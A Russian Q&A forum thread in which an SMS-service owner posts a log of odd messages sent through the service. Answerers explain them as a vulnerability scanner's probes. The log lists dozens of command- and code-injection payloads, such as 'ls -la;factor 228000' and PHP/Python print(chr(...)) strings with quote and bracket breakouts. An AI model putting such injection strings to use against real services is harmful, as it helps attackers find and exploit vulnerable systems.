СМС уязвимость или что это?

Question

[Uniq]

Всем привет, выгрузил отчет на днях с смс сервиса и афигел слали неизвестные запросы, что это?

номер получателей заменил на SMS

SMS: ,
SMS: {${`ls -la;factor 228000`}}, {${`ls -la;factor 228000`}}
SMS: {{`ls -la;factor 228000`}}, {{`ls -la;factor 228000`}}
SMS: ,
SMS: |ls "-la, "|ls "-la"
SMS: |ls "-la, "|ls "-la"
SMS: )
SMS: )
SMS: 
SMS: 
SMS: ]
SMS: ]
SMS: '];ls -la;factor 228000;/*, '];ls -la;factor 228000;/*
SMS: '];ls -la;factor 228000;/*, '];ls -la;factor 228000;/*
SMS: ');ls -la;factor 228000;/*, ');ls -la;factor 228000;/*
SMS: ');ls -la;factor 228000;/*, ');ls -la;factor 228000;/*
SMS: ';ls -la;factor 228000;/*, ';ls -la;factor 228000;/*
SMS: ';ls -la;factor 228000;/*, ';ls -la;factor 228000;/*
SMS: ;ls -la;factor 228000;, ;ls -la;factor 228000;
SMS: ;ls -la;factor 228000;, ;ls -la;factor 228000;
SMS: ls -la
SMS: ls -la
SMS: 'ls -la;factor 228000', 'ls -la;factor 228000'
SMS: 'ls -la;factor 228000', 'ls -la;factor 228000'
SMS: |${ls -la;factor 228000}, |${ls -la;factor 228000}
SMS: |ls -la;factor 228000, |ls -la;factor 228000
SMS: ls -la;factor 228000, ls -la;factor 228000
SMS: 'print(chr(49)+chr(55)+chr(73)+chr(53)+chr(51)+chr(48)+chr(86)+chr(65)+chr(117)+chr(52))', 'print(chr(49)+chr(55)+chr(73)+chr(53)+chr(51)+chr(48)+chr(86)+chr(65)+chr(117)+chr(52))'
SMS: 'print(chr(49)+chr(55)+chr(73)+chr(53)+chr(51)+chr(48)+chr(86)+chr(65)+chr(117)+chr(52))', 'print(chr(49)+chr(55)+chr(73)+chr(53)+chr(51)+chr(48)+chr(86)+chr(65)+chr(117)+chr(52))'
SMS: {${print(chr(49)+chr(55)+chr(73)+chr(53)+chr(51)+chr(48)+chr(86)+chr(65)+chr(117)+chr(52))}}, {${print(chr(49)+chr(55)+chr(73)+chr(53)+chr(51)+chr(48)+chr(86)+chr(65)+chr(117)+chr(52))}}
SMS: print(chr(49)+chr(55)+chr(73)+chr(53)+chr(51)+chr(48)+chr(86)+chr(65)+chr(117)+chr(52)), print(chr(49)+chr(55)+chr(73)+chr(53)+chr(51)+chr(48)+chr(86)+chr(65)+chr(117)+chr(52))
SMS: print(chr(49)+chr(55)+chr(73)+chr(53)+chr(51)+chr(48)+chr(86)+chr(65)+chr(117)+chr(52)), print(chr(49)+chr(55)+chr(73)+chr(53)+chr(51)+chr(48)+chr(86)+chr(65)+chr(117)+chr(52))
SMS: )
SMS: )
SMS: ');print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;/*, ');print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;/*
SMS: ');print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;/*, ');print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;/*
SMS: ]
SMS: ]
SMS: '];print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;/*, '];print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;/*
SMS: '];print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;/*, '];print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;/*
SMS: )
SMS: )
SMS: ');print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;//, ');print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;//
SMS: ');print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;//, ');print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;//
SMS: ]
SMS: ]
SMS: '];print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;//, '];print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;//
SMS: '];print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;//, '];print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));exit;//
SMS: {${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}", "{${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}""
SMS: {${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}", "{${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}""
SMS: '{${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}', '{${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}'
SMS: '{${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}', '{${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}'
SMS: ", "
SMS: ", "
SMS: '', ''
SMS: '', ''
SMS: , 
SMS: ;print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));, ;print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));
SMS: |{${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}, |{${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}
SMS: {${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}, {${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}
SMS: {${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}, {${print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52))}}
SMS: print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));, print(chr(49).chr(55).chr(73).chr(53).chr(51).chr(48).chr(86).chr(65).chr(117).chr(52));

Answer 1

[sim3x]

дудосеры

Answer 2

[Владимир Дубровин]

Сами по себе эти записи не страшны - кто-то проверял ваш сервис сканером безопасности.

Comments

[nirvimel]

Скорее всего так и есть. Но что если копали не под отправителя (сам сервис), а под получателя?
Ведь смс-ки были оплачены... и реально отправлены...

[Владимир Дубровин]

nirvimel: нет, просто проверяли "конец" отправляющий СМС.

[sim3x]

nirvimel: man factor